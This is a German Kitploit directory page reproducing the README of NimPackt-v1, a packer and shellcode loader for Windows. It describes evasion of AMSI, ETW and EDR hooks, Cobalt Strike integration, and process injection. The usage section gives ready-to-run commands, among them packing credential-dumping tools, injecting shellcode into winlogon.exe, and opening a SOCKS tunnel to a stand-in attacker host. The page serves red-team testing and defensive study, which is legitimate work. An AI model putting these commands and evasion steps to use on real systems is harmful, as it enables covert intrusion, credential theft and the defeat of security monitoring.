Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
NimPackt-v1 — Nim-basierter Assembly-Packer und Shellcode-Lader für OpSec & Profit | Kitploit
Tools/GitHubGitHub/chvancooten/nimpackt-v1
Exploit-FrameworksPayload-GenerierungShellcodePenetrationstestsRed TeamingBinary-Exploitation
GitHubchvancooten/nimpackt-v1

NimPackt-v1

Nim-basierter Assembly-Packer und Shellcode-Lader für OpSec & Profit

Repository anzeigen
48776vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

NimPackt

Ein Nim-basierter Packer für .NET-Executables und rohen Shellcode

Von Cas van Cooten (@chvancooten)

Mit besonderem Dank an Marcello Salvati (@byt3bl33der) und Fabian Mosch (@S3cur3Th1sSh1t)

Beschreibung

Update: NimPackt-v1 gehört zu dem schlechtesten Code, den ich je geschrieben habe (ich habe gerade erst angefangen, Nim zu lernen). Aus diesem Grund habe ich mit einer vollständigen Neufassung von NimPackt begonnen, genannt 'NimPackt-NG' (derzeit noch privat). Mit dieser Neufassung habe ich beschlossen, den alten Branch ('NimPackt-v1') als Open Source zu veröffentlichen. Daher wird dieser Branch nicht mehr gewartet und kommt ohne jegliche Garantie oder Unterstützung. PRs sind natürlich jederzeit willkommen :)

NimPackt ist ein Nim-basierter Packer für .NET (C#)-Executables und Shellcode, der auf Windows abzielt. Es verpackt die Nutzlast automatisch in ein Nim-Binärprogramm, das in nativem C kompiliert wird und daher schwerer zu erkennen und rückzuentwickeln ist. Es gibt zwei Hauptausführungsmethoden:

  • Execute-Assembly verpackt ein .NET-Executable neu und führt es aus, optional mit Umgehungsmaßnahmen wie API-Entkopplung, AMSI-Patching oder Deaktivierung von ETW.
  • Shinject nimmt eine rohe .bin-Datei mit rohem, positionsunabhängigem Shellcode und führt ihn lokal oder in einem entfernten Prozess aus, optional unter Verwendung direkter Systemaufrufe zur Auslösung des Shellcodes oder durch Patchen von API-Hooks zur Umgehung von EDR.

Derzeit bietet NimPackt die folgenden Funktionen.

  • Verwendet statische Systemaufrufe, um die Ausführung zu patchen und EDR zu umgehen
  • Entfernt User-Mode-API-Hooks für den erzeugten Thread durch Aktualisieren von NTDLL.dll mittels ShellyCoat
  • Patched die Ereignisverfolgung für Windows (ETW)
  • Patched die Anti-Malware-Scan-Schnittstelle (AMSI)
  • Verschlüsselt die Nutzlast mit einem zufälligen Schlüssel (AES), um statische Analyse oder Fingerprinting zu verhindern
  • Kompiliert zu exe oder dll
  • Unterstützt plattformübergreifende Kompilierung (sowohl von Linux als auch Windows)
  • Integriert sich mit CobaltStrike für einfache Nutzlastgenerierung 😎

Eine großartige Quelle für C#-basierte Binärdateien für offensive Werkzeuge finden Sie hier. Es wird dringend empfohlen, die C#-Binärdateien selbst zu kompilieren. Auch wenn eingebettete Binärdateien verschlüsselt sind, sollten Sie sensible Binärdateien (wie Mimikatz) verschleiern, um das Erkennungsrisiko zu verringern.

Installation

Wenn Sie Probleme beim Kompilieren der Binärdatei mit Syscalls haben, versuchen Sie, Ihren GCC auf Version 8.1.0 herabzustufen (insbesondere unter Windows). Testen Sie generierte Nutzlasten IMMER!

Unter Linux installieren Sie einfach die erforderlichen Pakete und verwenden Sie den Nimble-Paketinstaller, um die erforderlichen Pakete und Python-Bibliotheken zu installieren.

root@kitploit:~
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

Unter Windows führen Sie den Nim-Installer von hier aus. Stellen Sie sicher, dass Sie mingw installieren und die Pfadwerte mithilfe des bereitgestellten Dienstprogramms finish.exe korrekt setzen. Wenn Sie Python3 nicht haben, installieren Sie es und installieren Sie dann die erforderlichen Pakete wie folgt.

root@kitploit:~
nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

Das Docker-Image chvancooten/nimbuild kann verwendet werden, um NimPackt-v1-Binärdateien zu kompilieren. Die Verwendung von Docker ist einfach und vermeidet Abhängigkeitsprobleme, da alle erforderlichen Abhängigkeiten in diesem Container vorinstalliert sind.

Um es zu verwenden, installieren Sie Docker für Ihr Betriebssystem und stellen Sie sicher, dass sich der Eingabe-Shellcode im aktuellen Ordner befindet. Starten Sie dann die Kompilierung in einem Container wie folgt.

root@kitploit:~
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

CobaltStrike-Plugin

Um das CobaltStrike-Plugin zu installieren, wählen Sie Cobalt Strike -> Script Manager aus der Menüleiste und wählen Sie Load. Stellen Sie sicher, dass Sie die .cna-Datei von ihrem ursprünglichen Speicherort laden, da sie sonst die NimPackt-Skriptdateien nicht finden kann!

NimPackt

Verwendung

root@kitploit:~
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

Beispiele:

root@kitploit:~
# SharpKatz packen, um Argumente zur Laufzeit zu akzeptieren, NTDLL-Hooks, AMSI und ETW patchen, sowie ausführliche Meldungen in einer sichtbaren Konsole zur Laufzeit ausgeben
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Seatbelt als DLL-Datei mit eingebrannten Argumenten packen (Hinweis: in eine Ausgabedatei schreiben, da stdout für DLLs nicht verfügbar ist)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# SharpChisel mit einer eingebauten ChiselChief-Verbindungszeichenfolge packen, keine Hooks entfernen, AMSI nicht patchen oder ETW deaktivieren, das Anwendungsfenster zur Laufzeit ausblenden
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Rohen Shellcode in eine DLL-Datei packen, der im lokalen Thread durch direkte Systemaufrufe ausgeführt wird, dabei auch NTDLL entkoppeln
# Shellcode generiert mit 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Rohen Shellcode packen, um ihn in einem neu erstellten Rechnerthread in einem unsichtbaren Fenster auszuführen
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Rohen Shellcode packen, um ihn im vorhandenen Winlogon-Prozess auszuführen (erste PID mit Namen 'winlogon.exe'), keine direkten Systemaufrufe oder Entkopplung von NTDLL verwenden
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

Binärdateien werden im Unterordner output Ihres Installationsverzeichnisses gespeichert. Generierte dll-Dateien können wie folgt ausgeführt werden (der Einstiegspunkt kann in der Nim-Vorlage geändert werden):

root@kitploit:~
rundll32 exampleShinjectNimPackt.dll,IconSrv
Tool herunterladen